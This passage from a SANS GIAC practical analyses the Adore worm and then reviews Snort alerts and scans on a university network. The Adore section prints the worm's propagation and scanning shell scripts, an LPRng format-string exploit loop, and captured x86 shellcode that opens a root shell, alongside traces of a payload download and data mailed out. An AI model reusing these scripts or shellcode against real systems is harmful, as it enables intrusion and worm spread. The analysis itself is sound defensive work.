Propagation of the Adore worm to other hosts is handled by the `./start` script:

```
#!/bin/sh
rm -rf *.log;rm -rf hacklpd;rm -rf hackwu26
   nohup ./start-bind >>/dev/null &
   nohup ./start-statd >>/dev/null &
   nohup ./start-lprng >>/dev/null &
```

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

After housekeeping tasks of removing worm-related log files three background jobs are created. The script names reveal their purposes. Scanning for hosts running either BIND, rpc-statd, and LPRng begins. Running of exploit code against identified servers follows. A successful exploit will yield root shell access. Then the Adore worm package will be installed and run on the victim host. Interestingly, the worm package contains a start-wu26 script for carrying out wu-ftpd exploits. However, execution of start-wu26 is not part of the start shell script in this version of the Adore worm.

Logic behind the above three scripts is similar. For example note the start-lprng script:

```
#!/bin/sh
while true
 do
  CLASSB=`./randb`
  rm -rf results.log;rm -rf hacklpd
  ./pscan-lprng $CLASSB 515 >>/dev/null
  ./lpdscan >>/dev/null
done
```

An infinite loop is created with “while true”. In one cycle of the loop, a random class B network is selected. ./randb is a binary executable that outputs a random class B network number.

```
  ./pscan-lprng $CLASSB 515 >>/dev/null
```

pscan-lprng has two arguments: the random class B network number value and a TCP port number. This executable identifies hosts running the LPRng service by sending SYN packets to port 515 on hosts in the selected random class B. IP addresses of hosts that return a SYN/ACK are logged to a results.log file. Scanning of addresses in the selected class B network is sequential and ascending in value.

```
  ./lpdscan >>/dev/null
```

Here’s an excerpt of lpdscan:

```
cat results.log | while read ip ; do echo "./lpd7.sh $ip <.backdoor &"
>> hacklpd;done
chmod a+x hacklpd
./hacklpd &
```

lpdscan enumerates through the IP addresses in the results.log file. It then builds a shell script “hacklpd” which contains commands that run lpd7.sh against each IP address in results.log. Each of these commands will become a background process. hacklpd is started as a background process.

An excerpt of the lpd7.sh:

```
./lpd $1 -t 0 -r 0xbffff3dc
./lpd $1 -t 0 -r 0xbffff128
./lpd $1 -t 0 -r 0xbffff148
```

© SANS Institute 2000 - 2002, Author retains full rights.

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

```
./lpd $1 -t 0 -r 0xbffff3c8
./lpd $1 -t 0 -r 0xbffff488
./lpd $1 -t 0 -r 0xbffff3e8
./lpd $1 -t 0 -r 0xbffff3d8
./lpd $1 brute -t 0
```

The lpd executable seems to contain the LPRng string format exploit functionality which is run against a supplied IP address. Note the "brute" argument, possibly an attempt to execute systematic variations of the exploit. It establishes a rootshell backdoor as shown in the network traces discussed below. When the exploit is successful in gaining root access on a new host the .backdoor shell script (discussed at beginning of section) is run. The Adore worm has infected yet another host.

Network Traces

```
Apr  1 21:58:21 tux01 snort[539]: OVERFLOW-NOOP-X86: 210.252.120.68:1937
-> 192.168.1.5:515
Apr  1 21:58:22 tux01 snort[539]: OVERFLOW-NOOP-X86: 210.252.120.68:2038
-> 192.168.1.5:515
Apr  1 21:58:23 tux01 snort[539]: OVERFLOW-NOOP-X86: 210.252.120.68:2256
-> 192.168.1.5:515
Apr  1 21:58:23 tux01 snort[539]: OVERFLOW-NOOP-X86: 210.252.120.68:2344
-> 192.168.1.5:515
Apr  1 22:00:58 tux01 last message repeated 47 times
Apr  1 22:01:59 tux01 last message repeate
```

The above Snort alerts are the result of an Adore worm attack attempting variations of the LPRng string format exploit against service port 515. This corresponds to the "brute" force behavior of the lpd7.sh script.

```
[**] OVERFLOW-NOOP-X86 [**]
04/01-21:58:23.084335 0:4:DD:45:9F:60 -> 0:A0:C9:81:86:C5 type:0x800
len:0x1F0
210.252.120.68:2256 -> 192.168.1.5:515 TCP TTL:47 TOS:0x0 ID:3264
IpLen:20 DgmLen:482 DF ***AP*** Seq: 0x4D392939  Ack: 0x4F2BF505  Win:
0x7D78  TcpLen: 32 TCP Options (3) => NOP NOP TS: 121244065 90746379
42 42 48 F1 FF BF 49 F1 FF BF 4A F1 FF BF 4B F1  BBH...I...J...K.
FF BF 58 58 58 58 58 58 58 58 58 58 58 58 58 58  ..XXXXXXXXXXXXXX
58 58 58 58 73 65 63 75 72 69 74 79 25 33 30 30  XXXXsecurity%300
24 6E 25 2E 31 36 37 75 25 33 30 31 24 6E 73 65  $n%.167u%301$nse
63 75 72 69 74 79 2E 69 25 33 30 32 24 6E 25 2E  curity.i%302$n%.
31 39 32 75 25 33 30 33 24 6E 90 90 90 90 90 90  192u%303$n......
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
```

```
90 90 31 DB 31 C9 31 C0 B0 46 CD 80 89 E5 31 D2  ..1.1.1..F....1.
B2 66 89 D0 31 C9 89 CB 43 89 5D F8 43 89 5D F4  .f..1...C.].C.].
4B 89 4D FC 8D 4D F4 CD 80 31 C9 89 45 F4 43 66  K.M..M...1..E.Cf
89 5D EC 66 C7 45 EE 0F 27 89 4D F0 8D 45 EC 89  .].f.E..'.M..E..
45 F8 C6 45 FC 10 89 D0 8D 4D F4 CD 80 89 D0 43  E..E.....M.....C
43 CD 80 89 D0 43 CD 80 89 C3 31 C9 B2 3F 89 D0  C....C....1..?..
CD 80 89 D0 41 CD 80 EB 18 5E 89 75 08 31 C0 88  ....A....^.u.1..
46 07 89 45 0C B0 0B 89 F3 8D 4D 08 8D 55 0C CD  F..E......M..U..
80 E8 E3 FF FF FF 2F 62 69 6E 2F 73 68 0A        ....../bin/sh.

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
=+
```

Note the usage of Intel x86 NOOP codes to "catch" the processor's execution pointer and the attempt to gain root shell access with /bin/sh.

```
21:58:21.705587 210.252.120.68.1999 > 192.168.1.5.3879: S
1287045344:1287045344(0) win 32120 <mss 1460,sackOK,timestamp 121243928
0,nop,wscale 0> (DF)
21:58:21.705765 192.168.1.5.3879 > 210.252.120.68.1999: R 0:0(0) ack
1287045345 win 0
```

As the exploits against port 515 are tried, the attack host attempts to connect to TCP port 3879. The establishment of this backdoor seems to be a function of the lpd executable in lpd7.sh. Note the RST packet from 192.168.1.5 indicating the backdoor is still not created. The exploits against 515 continue.

```
21:58:23.736643 210.252.120.68.2530 > 192.168.1.5.3879: S
1303401118:1303401118(0) win 32120 <mss 1460,sackOK,timestamp 121244130
0,nop,wscale 0> (DF)
21:58:23.736825 192.168.1.5.3879 > 210.252.120.68.2530: S
 1322632810:1322632810(0) ack 1303401119 win 32120 <mss
1460,sackOK,timestamp 90746480 121244130,nop,wscale 0> (DF)
21:58:24.021019 210.252.120.68.2530 > 192.168.1.5.3879: . ack 1 win
32120 <nop,nop,timestamp 121244160 90746480> (DF)
21:58:24.027060 210.252.120.68.2530 > 192.168.1.5.3879: P 1:231(230) ack
1 win 32120 <nop,nop,timestamp 121244160 90746480> (DF)
21:58:24.027233 192.168.1.5.3879 > 210.252.120.68.2530: . ack 231 win
31890 <nop,nop,timestamp 90746509 121244160> (DF)
```

Note the SYN/ACK sent by 192.168.1.5. After numerous exploits against 515, the backdoor is finally created. The attack host begins to push arbitrary commands to be executed.

```
21:58:24.027060 210.252.120.68.2530 > 63.175.107.16.3879: P 1:231(230)
ack 1 win 32120 <nop,nop,timestamp 121244160 90746480> (DF)
0x0000       4500 011a 0f2c 4000 2f06 45b2 d2fc 7844  E....,@./.E...xD
0x0010       3faf 6b10 09e2 0f27 4db0 529f 4ed5 c66b  ?.k....'M.R.N..k
0x0020       8018 7d78 3481 0000 0101 080a 073a 0a00  ..}x4........:..
0x0030       0568 ae70 5445 524d 3d22 6c69 6e75 7822  .h.pTERM="linux"
0x0040       0a65 7870 6f72 7420 5041 5448 3d22 2f73  .export.PATH="/s
0x0050       6269                                     bi
```

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

The packet contents look familiar—identical to the contents of the .backdoor script!

The subsequent behaviors correspond to actions performed in the start.sh script.

```
21:58:26.337606 63.175.107.16.1036 > 202.106.184.7.80: P 1:549(548) ack
1 win 32120 <nop,nop,timestamp 90746740 292615965> (DF)
0x0000       4500 0258 04af 4000 4006 06c0 3faf 6b10  E..X..@.@...?.k.
0x0010       ca6a b807 040c 0050 4eca 0789 586b 0c0c  .j.....PN...Xk..
0x0020       8018 7d78 b7e7 0000 0101 080a 0568 af74  ..}x.........h.t
0x0030       1170 f71d 4745 5420 2f7e 686f 7463 6e2f  .p..GET./~hotcn/
0x0040       7265 642e 7461 7220 4854 5450 2f31 2e30  red.tar.HTTP/1.0
0x0050       0d0a                                    ..
```

An HTTP connection (port 80) is made to download of the red.tar tarball from http://go.163.com/~hotcn/red.tar.

```
22:00:06.010121 192.168.1.5.1037 > 202.104.32.232.25: S
1432646461:1432646461(0) win 32120 <mss 1460,sackOK,timestamp 90756707
0,nop,wscale 0> (DF)
22:00:06.332958 192.168.1.5.1039 > 202.106.187.150.25: S
1423590815:1423590815(0) win 32120 <mss 1460,sackOK,timestamp 90756740
0,nop,wscale 0> (DF)
```

Emails containing host system information are sent to addresses at sina.com and 21cn.com. Note the connections made to the SMTP port of the mail servers.

192.168.1.5 is compromised and now begins the act of propagating the Adore worm to other hosts.

```
22:00:06.374356 192.168.1.5.1041 > 87.6.0.2.53: S
1425953208:1425953208(0) win 32120
 <mss 1460,sackOK,timestamp 90756744 0,nop,wscale 0> (DF)
22:00:06.374820 192.168.1.5.1042 > 87.6.0.3.53: S
1426975421:1426975421(0) win 32120
 <mss 1460,sackOK,timestamp 90756744 0,nop,wscale 0> (DF)
22:00:06.375270 192.168.1.5.1043 > 87.6.0.4.53: S
1423465252:1423465252(0) win 32120
 <mss 1460,sackOK,timestamp 90756744 0,nop,wscale 0> (DF)
22:00:06.375718 192.168.1.5.1044 > 87.6.0.5.53: S
1435488728:1435488728(0) win 32120 <mss 1460,sackOK,timestamp 90756744
0,nop,wscale 0> (DF)
22:00:06.376169 192.168.1.5.1045 > 87.6.0.6.53: S
1437228432:1437228432(0) win 32120
 <mss 1460,sackOK,timestamp 90756744 0,nop,wscale 0> (DF)
     (cut for brevity)
22:00:25.241378 192.168.1.5.1967 > 87.6.2.236.111: S
1440505925:1440505925(0) win
 32120 <mss 1460,sackOK,timestamp 90758631 0,nop,wscale 0> (DF)
22:00:25.241442 192.168.1.5.1968 > 87.6.2.237.111: S
1441408218:1441408218(0) win 32120 <mss 1460,sackOK,timestamp 90758631
0,nop,wscale 0> (DF)
22:00:25.241509 192.168.1.5.1969 > 87.6.2.238.111: S
1446808775:1446808775(0) win
```

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

```
 32120 <mss 1460,sackOK,timestamp 90758631 0,nop,wscale 0> (DF)
      (cut for brevity)
22:00:25.412412 192.168.1.5.2829 > 87.6.16.179.515: S
1444883460:1444883460(0) win
 32120 <mss 1460,sackOK,timestamp 90758648 0,nop,wscale 0> (DF)
22:00:25.640650 192.168.1.5.1976 > 87.6.13.94.515: S
1439225641:1439225641(0) win
 32120 <mss 1460,sackOK,timestamp 90758671 0,nop,wscale 0> (DF)
22:00:25.640756 192.168.1.5.1977 > 87.6.13.95.515: S
1453162707:1453162707(0) win
 32120 <mss 1460,sackOK,timestamp 90758671 0,nop,wscale 0> (DF)
22:00:25.640823 192.168.1.5.1978 > 87.6.13.96.515: S
1440854684:1440854684(0) win
 32120 <mss 1460,sackOK,timestamp 90758671 0,nop,wscale 0> (DF)
```

The behavior corresponds to the scanning activity initiated by the start-bind, start-statd, and start-lprng scripts. Note the 53 (BIND), 111 (rpc-statd), and 515 (LPRng) destinations ports.

This activity can be correlated with ICMP-related alerts in Snort logs.

```
Apr  1 22:06:06 tux01 snort[539]: ICMP Destination Unreachable:
165.87.161.161 -> 192.168.1.5
Apr  1 22:06:06 tux01 snort[539]: ICMP Time Exceeded: 152.158.247.46 ->
192.168.1.5
Apr  1 22:06:06 tux01 last message repeated 13 times
Apr  1 22:06:06 tux01 snort[539]: ICMP Destination Unreachable:
165.87.157.145 -> 192.168.1.5
Apr  1 22:06:06 tux01 snort[539]: ICMP Time Exceeded: 152.158.247.46 ->
192.168.1.5
Apr  1 22:06:07 tux01 last message repeated 35 times
Apr  1 22:06:07 tux01 snort[539]: ICMP Time Exceeded: 152.158.247.46 ->
192.168.1.5
```

The numerous ICMP destination unreachable messages are the result of SYN packets sent to unresponsive IP addresses.

Conclusion and Defensive Recommendations

Execution of an Adore worm attack is straightforward. Driven by shell scripts, the worm relies on an amalgamation of exploits, backdoors, and trojaned binaries. The design of the worm lends itself to modifications by others with malicious intent. Variations of the Adore worm have been reported to SANS GIAC. After compromising a host, the worm leverages system resources in a vigorous effort to spread itself to other hosts. The worm is destructive and the exposure of sensitive system information can certainly be damaging to an organization's information systems infrastructure. The worm's self-propagating activity lasts only for a temporary period of time since it removes worm-related files, kills worm processes, restores the ps binary, and reboots the system at the next occurrence of 0402 local time. However, it still leaves the host open to future malicious use. The sekure ping backdoor at port 65535 remains intact and two username additions remain in the ftp access control list.

© SANS Institute 2000 - 2002 Author retains full rights.

The basic countermeasures of disabling unneeded services and applying released patches in a timely fashion reduce the risk of infection from an Adore worm attack. A strict firewall policy that restricts connections to needed network services provides an effective defense as well. In addition an intrusion analyst will want to pay attention closely to large amounts of scanning activity that suddenly appear from an internal host.

Author retains full rights.

Assignment 3 - Analyze This Scenario

Snort Records

A total of 555,977 Snort alert records were analyzed. The Snort scan alerts totaled 1,223,980.

Alerts Summary

Twenty-five different types of alerts were generated by Snort as shown in the following table. The top five alerts were analyzed.

Rank	Alert Description	No. of Alerts	% of Total Alerts
1	UDP SRC and DST outside network	490,382	88.20%
2	Watchlist 000220 IL-ISDNNET-990517	19,069	3.43%
3	SYN-FIN scan!	12,717	2.29%
4	Possible RAMEN server activity	9,991	1.80%
5	NMAP TCP ping!	7,229	1.30%
6	Watchlist 000222 NET-NCFC	6,017	1.08%
7	External RPC call	3,029	0.54%
8	TCP SRC and DST outside network	2,453	0.44%
9	SNMP public access	1,163	0.21%
10	SMB Name Wildcard	846	0.15%
11	connect to 515 from inside	650	0.12%
12	WinGate 1080 Attempt	612	0.11%
13	Attempted Sun RPC high port access	543	0.10%
14	Queso fingerprint	523	0.09%
15	Tiny Fragments - Possible Hostile Activity	230	0.04%
16	SUNRPC highport access!	210	0.04%
17	Null scan!	156	0.03%
18	ICMP SRC and DST outside network	104	0.02%
19	Back Orifice	25	<0.01%
20	STATDX UDP attack	16	<0.01%
21	Security 000516-1	4	<0.01%
22	TCP SMTP Source Port traffic	4	<0.01%

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

Rank	Alert Description	No. of Alerts	% of Total Alerts
23	Probable NMAP fingerprint attempt	2	<0.01%
24	Russia Dynamo - SANS Flash 28-jul-00	1	<0.01%
25	SITE EXEC - Possible wu-ftpd exploit - GIAC000623	1	<0.01%

Top Five Alerts

1. UDP SRC and DST Outside Network

By far, the "UDP SRC and DST outside network" alert accounted for most of the alert records, a whopping 88.2% of the total alerts. 687 source IP addresses and 2,083 destination IP addresses were associated with this alert. 1,956 source ports and 18 destination ports were observed. The top destination port figure for this alert was most interesting. 369,637 alert records had a destination port of 9875. The top source IP address 155.101.21.38 and top destination IP address 224.2.127.254 show up together in 91,361 records with a destination port of 9875.

224.2.127.254 is a well-known multicast IP address and 9875 is a well-known UDP port. These numbers are part of the requirements for the session announcement protocol (SAP) defined in RFC 2974. SAP assists in the advertising of multicast multimedia conferences. It serves as a notification mechanism and deliverer of setup information to remote participants.

Source IP addresses that accounted for 148,503 Snort alerts resolve to names of hosts that belong to educational institutions: bonfire.crsim.utah.edu (155.101.21.38), netfx.uwtv.washington.edu (140.142.19.72), and vbrick1.ots.utexas.edu (206.190.54.67).

Since the traces were collected from a sensor at the University of Maryland, Baltimore County the occurrence of this type of traffic would be a normal phenomena. The network at UMBC would have a feed to multicast traffic. The SAP advertisements are most likely utilized by a videoconferencing application for distance learning purposes. UMBC has a distinguished engineering program and would definitely be interested in videoconferencing sessions emanating from bonfire.crsim.utah.edu, a host associated with the department of chemical and fuels engineering at the University of Utah.

2. Watchlist 000220 IL-ISDNNET-990517

This alert accounted for 19,069 alert records or 3.43% of the total alert records. 53 source hosts and 58 destinations hosts were associated with the records. The source host 212.179.21.179 and destination host MY.NET.207.22 were found together in 4,372 alerts with a destination port of 6699. Port 6699 is the default listening port for Napster mp3 sharing software. Below is a sample trace:

```
02/12-07:25:59.135775 MY.NET.204.146:6699 -> 24.3.43.103:2744
TCP TTL:126 TOS:0x0 ID:16336  DF
```

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

```
21S**PA* Seq: 0xE74D6BD   Ack: 0xE   Win: 0x5010
00 00 00 0E 29 DA 50 10 21 E6 D0 16 00 00 97 C4  ....).P.!.......
B3 B3 38 4B AF 24 24 38 5B 2D                    ..8K.$$8[-
```

(Note there is also a problem with the above packet. The reserved bits and SYN flags are set along with the PSH flag).

All source hosts for this alert were traced to an Israeli domain bezeqint.net. 212.179.21.179 resolves to clnt-21179.bezeqint.net. From the host naming convention, the Israeli site looks like an ISP. Connections are being made from hosts in bezeqint.net to hosts in MY.NET that are sharing mp3 files through Napster software.

546 of the alerts showed connections being made to port 6346 which is identified with the Gnutella file sharing software. Mp3 files are possibly being shared to hosts on the Internet with Gnutella as well.

In a university network environment, the use of Napster and Gnutella is a likely practice among users. Vulnerabilities arise as outbound connections initiated by MY.NET hosts are made to external file sharing peer hosts.

3. SYN-FIN scan!

SYN-FIN scan represented 12,717 of the alert records or 2.29% of the total records. Source IP address 130.234.184.112 is the biggest offender with 9,336 records. This host scanned a total of 8,681 hosts in the MY.NET.x.x. network.

All SYN-FIN scans had a source and destination port number of 21. This combination of identical 21 source and destination ports and the SYN-FIN TCP flags correlates to scans performed by a tool called "synscan". Synscan has been used in the Ramen worm package to scan for ftp targets. Synscan has been known to "grab" ftp banners in the process of probing ftp servers. The Ramen worm will execute wu-ftpd attacks on identified ftp servers.

130.234.184.112 (termos.keltti.jyu.fi) and 128.61.136.23 (tann6233.mse.gatech.edu) exhibited the above scanning behavior and are most likely infected with the Ramen worm.

Another address 211.248.112.67 also performed actions attributable to synscan. This host scanned 1,108 hosts in MY.NET. Related SYN-FIN alerts contained a source and destination port of 53. This is most likely a reconnaissance mission to identify DNS servers where BIND vulnerabilities will be exploited.

4. Possible RAMEN Server Activity

This alert accounted for 9,991 or 1.8% of the total alert records. The top source IP address for these alerts was 24.67.186.244 (h24-67-186-244.ok.shawcable.net). The alerts didn't seem to match conventional Ramen worm activity. Snort rules written to detect the

© SANS Institute 2000 - 2002, Author retains full rights.

Ramen worm use port 27374 as a signature for triggering alerts. The reason for this is that the Ramen worm will download the ramen.tgz file from an asp web server running on port 27374.

24.67.186.244 attempts to make connections to 2,438 MY.NET addresses in a sixteen minute period. The target destination port is 27374. A single host making connections to numerous MY.NET hosts on port 27374 doesn't seem like Ramen worm behavior. A machine newly infected with the Ramen worm will download the worm package from its attacker only.

The behavior of 24.67.186.244 points to "trolling for trojans". The trojan associated with port 27374 is SubSeven, the Windows remote control backdoor tool. 24.67.186.244 seems to be identifying hosts with a SubSeven installation.

On the other hand MY.NET.201.46 appears to have been compromised by SubSeven. On 2/23/01 a connection is initiated from an external host 128.138.2.112 to this host on port 4781. The source port is 27374 indicating SubSeven usage. The entire session lasts about two minutes.

MY.NET.60.1 also seems to be running SubSeven. It initiates a connection with source port 23 to 148.129.143.2 port 27374. This session lasts for about fifteen minutes.

There are no indications of Ramen server activity. No evidence of large scale SYN-FIN scanning initiated from internal hosts was found. The Snort rule used to detect the Ramen worm may be too general and causing false positives. A more specific rule may need to be written to accurately detect the Ramen worm.

5. NMAP TCP Ping!

7,229 alert records or 1.3% of the total alerts placed NMAP TCP Ping! in fifth place. The top source host is MY.NET.70.38 which scanned 7,138 MY.NET hosts. The NMAP TCP Ping scan utilizes the sending of ACK packets to determine whether or not hosts are alive. Live hosts will respond with a RST packet. The scanning run took three days to complete. Destination ports included port ranges 30000 to 40000 and port 53.

Clearly this is a reconnaissance effort to identify live hosts in MY.NET. The usage of the information gained from this activity is unclear. Other than the scanning alerts, no other alerts were attributed to MY.NET.70.38. A malicious user could be behind the scans. A systems administrator could also be using nmap to update network topology documentation.

Scanning Summary

As noted earlier 1,223,980 records were generated by Snort's portscan module. 1,956 different source IP addresses were observed and 176,138 different destination IP addresses were reported. 40,156 different destination ports were targeted.

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

Top Five Scanning Source Hosts

1. MY.NET.218.90 was the top scanning source host with 34,517 records. The scan records all related to UDP. The first records that appeared in the alerts had a source port of 6112 and destination port of 6112. These are known ports used in Blizzard Entertainment Games such as Diablo, Warcraft, and Starcraft. However, the majority of the records had a UDP source port of 1036 and varying destination ports. Documentation for Blizzard Entertainment's games doesn't mention the use of UDP source port 1036. The time pattern for the traffic is fairly consistent with daily records appearing from noon to evening showing this to be yet another game. Gamers that MY.NET.218.90 most frequently battles with include users from various ISPs: 165.247.4.159 (user-2ive14v.dialup.mindspring.com) and 172.132.71.130 (AC844782.ipt.aol.com).

2. MY.NET.150.220 produced 24,185 scanning alert records. UDP packets with a source port of 28800 and destination port 28800 were sent from MY.NET.150.220 to 1,929 remote hosts. Port 28800 is associated with the Microsoft Network Gaming Zone. MY.NET.150.220 seems to be another extensive network gamer. The alerts do not reveal any malicious activity.

3. MY.NET.221.26 had 21,060 scanning alerts. All scanning was directed at 129.2.246.94 (NotRegistered-129-2-246-94.student.umd.edu). Initially the traces looked like a half-open scan by nmap involving the sending of SYN packets to targeted destination ports. However, the incrementing source port didn't seem like nmap behavior. The traffic pattern showed more of a denial of service attack with 15,330 SYN packets sent to the destination host in 80 minutes. This is most likely a SYN flood attack. The University of Maryland's network services system provides an IP address and hostname for student computers. The IP address and hostname remains the same for one semester. MY.NET.221.26 may have identified 129.2.246.94 well in advance in the process of carrying out this attack.

4. MY.NET.204.66 had 20,893 scanning records. The alerts were generated by UDP activity related to port 27888. This is the default port setting for the Planet Shogo first person shootem' up game. Other network games have been known to run on port 27888 such as Quake World. Yet another network gamer.

5. MY.NET.229.154 triggered 19,785 scanning records. The traffic that generated the alerts was also associated with port 27888—either Planet Shogo or Quake World game playing.

Top Five Scanning Destination Hosts

1. The University of Maryland host 129.2.246.94 (NotRegistered-129-2-246-94.student.umd.edu) was hit with the denial of service attack from MY.NET.221.26 discussed above.

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

2. MY.NET.160.109 had 9,995 scan alerts. It was mainly scanned by a host from an ISP 206.112.192 (show.one.net). 206.112.192.106 performed a high speed UDP port scan. Approximately 10,000 ports were scanned in four seconds. The attack host is possibly scanning for trojans.

3. MY.NET.60.8 seemed to be the victim of a denial of service attack from 24.141.226.62 (d141-226-62.home.cgocable.net). It had 8,814 records. The nature of the attack was the flooding of SYN packets that lasted for about 20 minutes.

4. 216.155.34.54 (forsaken.magpage.com) had 4,079 scan records. The majority of the scans were initiated by MY.NET.208.10 using SYN packets. It focused on ports in the 35262 to 44880 range. It is a reconnaissance effort to find trojans or vulnerabilities. Forsaken.manpage.com is a website that appears to be the home page of MP3JukeBox software development. Malicious intent is a good possibility.

5. 169.197.49.83 (ppp338.mc01.dsl.azstarnet.com) had 3,989 scan alerts. The port associated with the majority of the records was UDP 27888. This appears to be another game partner to users in MY.NET. Hosts including MY.NET.210.190 and MY.NET.212.98 participated in the Planet Shogo or Quake World games with 169.197.49.83.

References

"Remote OS detection via TCP/IP Stack Fingerprinting" by Fyodor available at http://www.insecure.org/nmap/nmap-fingerprinting-article.html

"Adore Worm" version 0.8 by the Global Incident Analysis Center available at http://www.sans.org/y2k/adore.htm

Hacking Exposed: Stuart McClure & Joel Scambray, George Kurtz, Published by Osbourne/McGraw-Hill 2001.

Discussion on web server optimizations can be found in an email written by Eric M. Nahum. It is available at http://www.postel.org/pipermail/end2end-interest/2001-January/000012.html. Eric M. Nahum is a researcher at the IBM T.J. Watson Research Center.

Intrusion Detection: Signatures and Analysis Parts 1 & 2 version 3.9: Stephen Northcutt, Published by The SANS Institute.

Explanation of User2sid and Sid2user by its developer Evegenii Rudnyi available at http://www.chem.msu.su/~rudnyi/NT/sid.txt

TCP/IP Illustrated Volume 1: W. Richard Stevens, Published by Addison-Wesley 1994.

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

"Ramen Internet Worm Analysis" by Max Vision available at
http://www.whitehats.com/library/worms/ramen/

© SANS Institute 2000 - 2002, Author retains full rights.